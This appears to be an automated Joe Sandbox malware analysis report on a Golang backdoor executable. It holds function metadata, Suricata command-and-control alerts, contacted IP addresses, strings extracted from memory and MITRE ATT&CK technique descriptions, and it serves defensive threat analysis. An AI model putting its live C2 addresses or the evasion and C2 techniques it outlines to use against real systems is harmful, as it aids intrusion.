Function 0296B092 Relevance: 1.3, APIs: 1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ab29d4f8b7a46f077a13b6b77f3b5a530d6200c9a980115bb584d2fad02f115
Instruction ID: cca5fabdd45c53e67867f8caa542d49019a094ba306462c22feaa71fbef5b8db
Opcode Fuzzy Hash: 6ab29d4f8b7a46f077a13b6b77f3b5a530d6200c9a980115bb584d2fad02f115
Instruction Fuzzy Hash: 643181709086A49ADB64CA18CCB87BE7BB5AB46219F1484EAD84EF6140EB345EC0CF41

Function 0296AA80 Relevance: 1.3, APIs: 1, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2a69f241b71c1bac846d69ff7b52b3bc6e9435ec40fc6e3d11a15bb4f4ee1fb9
Instruction ID: 0299aa22f9172d0410c8eff4bcf98e255f92b948f9b1f89e0938134c0d6d2a08
Opcode Fuzzy Hash: 2a69f241b71c1bac846d69ff7b52b3bc6e9435ec40fc6e3d11a15bb4f4ee1fb9
Instruction Fuzzy Hash: 4331C5B2D04228AEF7244A14DC59BFB7BB8EF44310F4941FAED0D76280D6795EC58E92

Function 0296B111 Relevance: 1.3, APIs: 1, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: dc88ed5d1750d5df173891be12f7e1de04377229d625ddb97c8b360e4dbe3a3d
Instruction ID: feb4f6bf71a349637d631050e660eb0ab0d145966d0937189aa609a0bc2c760e
Opcode Fuzzy Hash: dc88ed5d1750d5df173891be12f7e1de04377229d625ddb97c8b360e4dbe3a3d
Instruction Fuzzy Hash: 4B014071D09628AFEB608A14CCA87B9B7B4EB05319F1044EAD90DF6280EB745FC0CF41

Function 0296AABD Relevance: 1.3, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b140a57042a2b5df7af0dec143465de8b1f40078b53a9b95bcf8e88430bcfe27
Instruction ID: dd0e6510a6a5b26d068c1e19fab774d29f27369129ed0daef35d7a50a4434893
Opcode Fuzzy Hash: b140a57042a2b5df7af0dec143465de8b1f40078b53a9b95bcf8e88430bcfe27
Instruction Fuzzy Hash: 0401D671D042199EF7245A24DC59BFA7BF8EB04314F4400EAE90DB5140DB7A5EC08F51

Function 0296B18E Relevance: 1.3, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 16991b2239e3acd76b216d730c121b442dc7fa9feeaacb996dcba55a638d7ee3
Instruction ID: f90acaf5817f540ad4cb0957061a472601c2b7d42e0563f7ec83955f10ab96a5
Opcode Fuzzy Hash: 16991b2239e3acd76b216d730c121b442dc7fa9feeaacb996dcba55a638d7ee3
Instruction Fuzzy Hash: 0D014C709052289FEB708A14CC98BA9B7F5AB45329F1045D6D44DB6280DB705AC0CF41

Function 0296AEC4 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 906be528f9242ccd56124d5dd93b6fe65046a9b2d0f2b508eddea02092605a97
Instruction ID: 85a8726f9ab93c7ee1e01aabd6426135f15f669859b207fba0d1e0d3f4cacf3f
Opcode Fuzzy Hash: 906be528f9242ccd56124d5dd93b6fe65046a9b2d0f2b508eddea02092605a97
Instruction Fuzzy Hash: 8401AD71E493549FEB219B248D98B75BBB4FF46315F0480EBD94CAA282CB714A81CF52

Function 0296B12F Relevance: 1.3, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: dfd5d3b2e8e31d2db21401460d27dc2f5de61840d5742f3d7bde978e517c204f
Instruction ID: 5461bdbdefbbb2c9efc4dc7119db9fbf5f69b130cc9e28671d5e4ccae0cbd62a
Opcode Fuzzy Hash: dfd5d3b2e8e31d2db21401460d27dc2f5de61840d5742f3d7bde978e517c204f
Instruction Fuzzy Hash: A601E870A052689FEB609B18CCA9BADB7F5AB45729F1084DAD54DB6240DB705EC0CF41

Function 0296A6B5 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 0296B21B

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2110b45590ee2b4b47884420999b0ea34027dc23d980e46c2fd5625cc67a1172
Instruction ID: 2a3485c872764eb43b4380a56f7a8342fa668e0d272234f9aa41eee3c3c7cb5a
Opcode Fuzzy Hash: 2110b45590ee2b4b47884420999b0ea34027dc23d980e46c2fd5625cc67a1172
Instruction Fuzzy Hash: 10F09BB2F05118AEF7304519DC2DFBA7BB8EB46714F0005E6D58DA5180D6744AC18B52

Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 4x nop then mov dword ptr [esp], edx	0_2_031BD130
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 4x nop then shr ecx, 0Dh	0_2_031C84C0
Source: C:\Users\user\Desktop\m0Yc9KltGw.exe	Code function: 4x nop then shr ebp, 0Dh	0_2_031C7A50

Source: Network traffic	Suricata IDS: 2855539 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2 : 185.121.233.152:25139 -> 192.168.2.8:49718
Source: Network traffic	Suricata IDS: 2855536 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1 : 192.168.2.8:49718 -> 185.121.233.152:25139
Source: Network traffic	Suricata IDS: 2855537 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2 : 192.168.2.8:49718 -> 185.121.233.152:25139
Source: Network traffic	Suricata IDS: 2855538 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1 : 185.121.233.152:25139 -> 192.168.2.8:49718

Source: m0Yc9KltGw.exe, 00000000.00000002.2729788978.00000000031A0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp2server
Source: m0Yc9KltGw.exe, 00000000.00000002.2726997183.0000000002A50000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''3125Atoiint8uintchanfunccallkind != AhomChamKawiLisuMiaoModiNewaThaiTotoDashquitermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--asn1tag:false<nil>ErrorMarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930defersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:**@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirchmodLstatarray%s:%dyamuxlocal1562578125int16int32int64uint8sliceAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermntohssse41sse42ssse3 (at ClassTypeAtls: Earlyparseutf-8%s%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nSHA-1P-224P-256P-384P-521ECDSAupdatekilledconfigStringFormat[]bytestringSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remote390625uint16uint32uint64structchan<-<-chan ValueArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenhanguprdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerSTREETwindowsfloat32float64TuesdayJanuaryOctoberMUI_StdMUI_DltforcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused19531259765625invaliduintptrSwapperChanDir Value>ConvertAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalabortedCopySidWSARecvWSASendsignal os/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop traceinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp2clienthttp2server

Source: Joe Sandbox View	IP Address: 46.8.232.106 46.8.232.106
Source: Joe Sandbox View	IP Address: 93.185.159.253 93.185.159.253

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.8:49709
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.8:49719

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 188.130.206.243
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 91.212.166.91
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 185.121.233.152
Source: unknown	TCP traffic detected without corresponding DNS query: 93.185.159.253
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.236.61

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report m0Yc9KltGw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\config

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Windows Analysis Report
m0Yc9KltGw.exe

Function 0292344A Relevance: 93.4, APIs: 2, Strings: 51, Instructions: 652
COMMON

Function 02925854 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 734
COMMON

Function 02925623 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 732
COMMON

Function 02925C52 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 731
COMMON

Function 02925C16 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 727
COMMON

Function 02925A21 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 727
COMMON

Function 02925C27 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 721
COMMON

Function 02925CC6 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 703
COMMON